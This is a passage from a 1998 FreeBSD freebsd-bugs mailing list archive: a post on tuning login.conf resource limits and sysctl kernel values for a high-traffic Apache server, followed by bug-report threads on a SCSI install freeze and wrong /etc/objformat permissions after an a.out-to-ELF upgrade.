limit is the one nor- from getrlimit(2) SEE ALSO csh(1), quota(1), quotactl(2), sigaltstack(2), sigvec(2), sysctl(3) My beef would be there is no reference for day to day tools like sysctl limits, at least the man page for limits references login.conf from limits(1) SEE ALSO csh(1), env(1), limit(1), sh(1), getrlimit(2), setrlimit(2), login_cap(3), login.conf(5) Grrrraaaahhhh! I'm used to man page hopping to find what I want and even resorted to checking /usr/includes for hints (almost started in the source code), but this was impossible until another old message from Bruce Evans (re bin/5306) tipped me off that there is no re ason to tweak the kernel, so I went hunting. >FreeBSD really needs a way to easily get full performance from the >system. I personally don't mind the kernel taking up the extra memory, >it's a lot bigger hassle to figure out how to keep the stupid thing >from crashing and how to keep apache from running into resource >limitations. > >I'm not trying to be an ass, but I really think that this is a big >problem with FreeBSD. I almost punted on FreeBSD and went the route >of getting all of our CGI working under Linux because I couldn't get >the OS to simply run at it's full potential, and I really think this >should be treated as a bug. All operating systems have issues like >this (Linux and file descriptors/process, for instance), but to see >FreeBSD have more built in and undocumented restrictions and limitations >than Windows NT is really depressing :) Not to rant and rave about the issue, but I agree. There really isn't any documentation for building up a high traffic/load/processes web server, only the lists and the rules of tweaking have changed and I still don't have some things straight regarding the login.conf thing. The first mention of login.conf was in 2.2.2 and it bit me right after upgrading to 2.2.5, which wasn't fun. Not sure what exactly changed and I don't plan to install 2.2.2 on a machine to find out exactly. What I do recall is that I was a bit perturbe d by this sudden change in behaviour. Whether classes were enforced or the limits for the default or root dropped, couldn't spawn and cannot forks errors started showing up in the thousands in Apache's logs. It never crashed, but I think the limits may have contributed to the delinquency of Apache's children, which only occured during peak times. This has been a periodic issue for myself since 2.2.5 and compiling in gdb (as suggested by Gary Palmer) didn't help when the process promptly exited upon c onnection. Since tweaking things like below there have no more runaways and my speculation is that the file descriptor limit was the main factor, since it was the most recently checked and adjusted. Login.conf is just a hassle for serious servers. Must admit that average joe won't have any problems and those that do are better equiped to figure it out, but it's still a pain. (This should part should probably drift over to ISP as well, so I'm CC'ing) Since I have some time, I think a Virtual Hosting tutorial would be an idea. Plenty of tweaking has been done on the new server I built for a client. Here are some snipits. The kernel was initally built with: maxusers 128 options CHILD_MAX=256 options OPEN_MAX=256 options SOMAXCONN=256 options NMBCLUSTERS=4096 Apache started generating spawn and fork errors after it's first weekend up and the traffic started building to weekday levels. Duh! Forgot about /etc/login.class and the root class (since Apache is started as root). root:\ :path=~/bin /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin:\ :cputime=infinity:\ :datasize=infinity:\ :stacksize=infinity:\ :memorylocked=infinity:\ :memoryuse=infinity:\ :filesize=infinity:\ :coredumpsize=infinity:\ :openfiles=infinity:\ :maxproc=infinity:\ :memoryuse-cur=32M:\ :maxproc-cur=64:\ :openfiles-cur=1024:\ :priority=0:\ :requirehome@:\ :umask=022:\ :tc=auth-root-defaults: Both memoryuse-cur and maxproc-cur were double to see if problem still existed. No effect, so openfiles-cur was doubled and that fixed it. After finding out about sysctl and checking values the options that were added to the kernel were removed. All is still well, but I noticed at some time in the future the openfiles value might need to be increased. Recompiled a kernel on a development server and compared values: maxusers=128 kern.maxproc: 2068 kern.maxprocperuid: 2067 kern.maxfiles: 4136 kern.maxfilesperproc: 4136 maxusers=256 kern.maxproc: 4116 kern.maxprocperuid: 4115 kern.maxfiles: 8232 kern.maxfilesperproc: 8232 That should allow for plenty of growth. The current peak for file descriptors reached 1680 total with 1509 for user www alone with 7 PERL processes running. Other values that may be of concern, but not changable in 2.2.7 without recompiling are: kern.somaxconn: 128 kern.maxsockbuf: 262144 Not sure if the 2nd is related to the NMBCLUSTERS option. Anyone? The peak that I have seen for 'netstat -m' is: 104/564 mbuf clusters in use 1157 Kbytes allocated to network (20% in use) This is definately higher than releases prior to 2.2.2 could handle and the NMBCLUSTERS option had to be used. Other options that I have seen recommended are: options "MAXDSIZ=(256*1024*1024)" options "DFLDSIZ=(256*1024*1024)" Never used either and login.conf should(?) replace these. Not they are still in LINT. What I ended up with in login.conf was user www having it's own class: www:\ :path=/bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin:\ :cputime=infinity:\ :datasize=infinity:\ :stacksize=infinity:\ :memorylocked=infinity:\ :memoryuse=infinity:\ :filesize=infinity:\ :coredumpsize=infinity:\ :openfiles=infinity:\ :maxproc=infinity:\ :memoryuse-cur=64:\ :maxproc-cur=128:\ :openfiles-cur=2048:\ :priority=0:\ This easily handled 101 Apache processes in testing and 78 in real life. All pages are server parsed and there is extensive use of PERL CGI on this site. With a PPro200 and 256MB RAM it has room for growth. Some things to note about the login.conf entry. The 3 values with -cur should NOT exceed or equal what you system has available. There should be some leeway to prevent the server from crashing. Between the amount of RAM and sysctl, enough should be le ft for core processes. Hmmm... should tweak this a bit, the following were stripped from root's values: :priority=0:\ :requirehome@:\ :umask=022:\ :tc=auth-root-defaults: In some cases someone may wish to increase or decrease the priority. The umask may be a good idea for scripts that create files. User www does not have a valid home dir and requirehome is one more way to nail down no logins along with tc auth-www-defaults:\ :auth-login=krb_skey_or_passwd,passwd,kerberos,skey: Changing this is a bit fuzzin the man pages and takes some work to track down, but I can't seem to find it for the moment. Something like: auth-www-defaults:\ :auth=none: Or is none supposed to be "null" or "reject" instead? logingetstyle() isn't clear (to me at least). It would be a good idea to add an example for rejecting ALL logins to login.conf, which would be another way to lock out users... Uh, scratch that I forgot about /sbin/nologin, but a bit more detail on login_style would be helpful. In login_cap(3) it has a nice little section under logingetstyle(): This scheme allows the administrator to determine the types of authorisation methods accepted by the sys- tem, depending on the means by which the access oc- curs. For example, the administrator may require skey or kerberos as the authentication method used for access to the system via the network, and stan- dard methods via direct dialup or console logins, significantly reducing the risk of password discovery by "snooping" network packets. Not much in the way of examples around: auth-root-defaults:\ :auth-login=krb_skey_or_passwd,passwd,kerberos,skey:\ :auth-rlogin=krb_or_skey,kerberos,skey: Is there an 'auth-ftp' or 'auth-telnet' to further descriminate? Overall I'd say the original issue and related issues are just a matter of documentation. And we all know how well that is going. :/ Any comments suggestions would be appreciated and help me work out a tutorial for kernel tweaking for a web server, which is lacking and frequently asked about on the lists. Not to mention that Apache changed a bit with the 1.3.0 release. cheers! Jeff Mountin - Unix Systems TCP/IP networking jeff@mountin.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 12:40:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA04995 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 12:40:30 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA04978; Sat, 12 Sep 1998 12:40:13 -0700 (PDT) (envelope-from des@FreeBSD.org) From: "Dag-Erling C. Sm\xf8rgrav" Received: (from des@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA14420; Sat, 12 Sep 1998 12:40:11 -0700 (PDT) Date: Sat, 12 Sep 1998 12:40:11 -0700 (PDT) Message-Id: <199809121940.MAA14420@freefall.freebsd.org> To: nogamu@sage.ark.com, des@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: kern/7901 Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Synopsis: Complains that SCSI Devices arn't "Settled" after configuring kernal upon install freezes - Using adaptec 2920c PCI Card State-Changed-From-To: open-closed State-Changed-By: des State-Changed-When: Sat Sep 12 12:39:20 PDT 1998 State-Changed-Why: Wait 15 seconds before hitting the BRS. If nothing happens after 15 seconds, resubmit a PR. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 12:50:09 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA05436 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 12:50:09 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA05421 for ; Sat, 12 Sep 1998 12:50:04 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id MAA14556; Sat, 12 Sep 1998 12:50:01 -0700 (PDT) Received: from tim.xenologics.com (tim.xenologics.com [194.77.5.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA05136 for ; Sat, 12 Sep 1998 12:42:02 -0700 (PDT) (envelope-from seggers@semyam.dinoco.de) Received: (from uucp@localhost) by tim.xenologics.com (8.8.5/8.8.8) with UUCP id VAA24393 for FreeBSD-gnats-submit@freebsd.org; Sat, 12 Sep 1998 21:39:48 +0200 (MET DST) Received: (from seggers@localhost) by semyam.dinoco.de (8.9.1/8.8.8) id VAA04148; Sat, 12 Sep 1998 21:38:11 +0200 (CEST) (envelope-from seggers) Message-Id: <199809121938.VAA04148@semyam.dinoco.de> Date: Sat, 12 Sep 1998 21:38:11 +0200 (CEST) From: Stefan Eggers Reply-To: seggers@semyam.dinoco.de To: FreeBSD-gnats-submit@FreeBSD.ORG Cc: seggers@semyam.dinoco.de X-Send-Pr-Version: 3.2 Subject: conf/7908: wrong perms on objformat after upgrade Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >Number: 7908 >Category: conf >Synopsis: wrong perms on objformat after upgrade >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-bugs >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Sat Sep 12 12:50:01 PDT 1998 >Last-Modified: >Originator: Stefan Eggers >Organization: none >Release: FreeBSD 3.0-CURRENT i386 >Environment: -current cvsup'ed on September 8th, 1998 >Description: I did the transition from a.out to ELF with the abovementioned sources splitted in building and installing. It all went fine as far as the system is concerned (I myself made an operator error :->) except the permissions on /etc/objformat. I installed it as root with an umask of 077 and the file got the permissions 0600. Now the problem was that I wanted to do a "make extract" for the crafty sources (see games in the ports collection) and this failed due to the permission on this file. >How-To-Repeat: Make an a.out to ELF transition with umask 077 splitted in a build and an install phase. Doing it in one step might show this problem, too but I didn't test for that as it already took very long. Now try a "make extract" in the ports collection. I did it to crafty (under games) but any other port will probably do, too. *BINGO*, you hit the problem. >Fix: Add an explicit chmod command (permissions 0644) for the objformat file in Makefile.upgrade immediately after its creation. >Audit-Trail: >Unformatted: To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 18:00:17 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id SAA02310 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 18:00:17 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id SAA02297 for ; Sat, 12 Sep 1998 18:00:07 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id SAA22517; Sat, 12 Sep 1998 18:00:01 -0700 (PDT) Date: Sat, 12 Sep 1998 18:00:01 -0700 (PDT) Message-Id: <199809130100.SAA22517@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: dag-erli@ifi.uio.no (Dag-Erling =?iso-8859-1?Q?Co=EFdan?= =?iso-8859-1?Q?Sm=F8rgrav?= ) Subject: Re: conf/7908: wrong perms on objformat after upgrade Reply-To: dag-erli@ifi.uio.no (Dag-Erling =?iso-8859-1?Q?Co=EFdan?= =?iso-8859-1?Q?Sm=F8rgrav?= ) Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR conf/7908; it has been noted by GNATS. From: dag-erli@ifi.uio.no (Dag-Erling =?iso-8859-1?Q?Co=EFdan?= =?iso-8859-1?Q?Sm=F8rgrav?= ) To: seggers@semyam.dinoco.de Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: conf/7908: wrong perms on objformat after upgrade Date: 13 Sep 1998 02:50:12 +0200 Stefan Eggers writes: > I did the transition from a.out to ELF with the abovementioned > sources splitted in building and installing. It all went fine as far > as the system is concerned (I myself made an operator error :->) except > the permissions on /etc/objformat. I installed it as root with an > umask of 077 and the file got the permissions 0600. Don't Do That, Then. I learned the hard way never to set root's umask to anything stricter than 022. Unless you always remember to set the umask right at the right time, anything you install (including, but not limited to, /etc/objformat) is installed wrong. DES -- Dag-Erling Smørgrav - dag-erli@ifi.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 21:33:42 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA18995 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 21:33:42 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.15.68.22]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA18988; Sat, 12 Sep 1998 21:33:38 -0700 (PDT) (envelope-from bde@godzilla.zeta.org.au) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.7/8.8.7) id OAA05842; Sun, 13 Sep 1998 14:33:17 +1000 Date: Sun, 13 Sep 1998 14:33:17 +1000 From: Bruce Evans Message-Id: <199809130433.OAA05842@godzilla.zeta.org.au> To: dag-erli@ifi.uio.no, freebsd-bugs@FreeBSD.ORG Subject: Re: conf/7908: wrong perms on objformat after upgrade Cc: FreeBSD-gnats-submit@FreeBSD.ORG Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > > the permissions on /etc/objformat. I installed it as root with an > > umask of 077 and the file got the permissions 0600. > > Don't Do That, Then. I learned the hard way never to set root's umask > to anything stricter than 022. Unless you always remember to set the > umask right at the right time, anything you install (including, but > not limited to, /etc/objformat) is installed wrong. Nonsense. Everything installed properly (using install(1)) is installed right. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message From owner-freebsd-bugs Sat Sep 12 21:40:05 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA20238 for freebsd-bugs-outgoing; Sat, 12 Sep 1998 21:40:05 -0700 (PDT) (envelope-from owner-freebsd-bugs@FreeBSD.ORG) Received: from freefall.freebsd.org (freefall.FreeBSD.ORG [204.216.27.21]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA20221 for ; Sat, 12 Sep 1998 21:40:02 -0700 (PDT) (envelope-from gnats@FreeBSD.org) Received: (from gnats@localhost) by freefall.freebsd.org (8.8.8/8.8.5) id VAA27659; Sat, 12 Sep 1998 21:40:00 -0700 (PDT) Date: Sat, 12 Sep 1998 21:40:00 -0700 (PDT) Message-Id: <199809130440.VAA27659@freefall.freebsd.org> To: freebsd-bugs@FreeBSD.ORG From: Bruce Evans Subject: Re: conf/7908: wrong perms on objformat after upgrade Reply-To: Bruce Evans Sender: owner-freebsd-bugs@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org The following reply was made to PR conf/7908; it has been noted by GNATS. From: Bruce Evans To: dag-erli@ifi.uio.no, freebsd-bugs@FreeBSD.ORG Cc: FreeBSD-gnats-submit@FreeBSD.ORG Subject: Re: conf/7908: wrong perms on objformat after upgrade Date: Sun, 13 Sep 1998 14:33:17 +1000 > > the permissions on /etc/objformat. I installed it as root with an > > umask of 077 and the file got the permissions 0600. > > Don't Do That, Then. I learned the hard way never to set root's umask > to anything stricter than 022. Unless you always remember to set the > umask right at the right time, anything you install (including, but > not limited to, /etc/objformat) is installed wrong. Nonsense. Everything installed properly (using install(1)) is installed right. Bruce To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-bugs" in the body of the message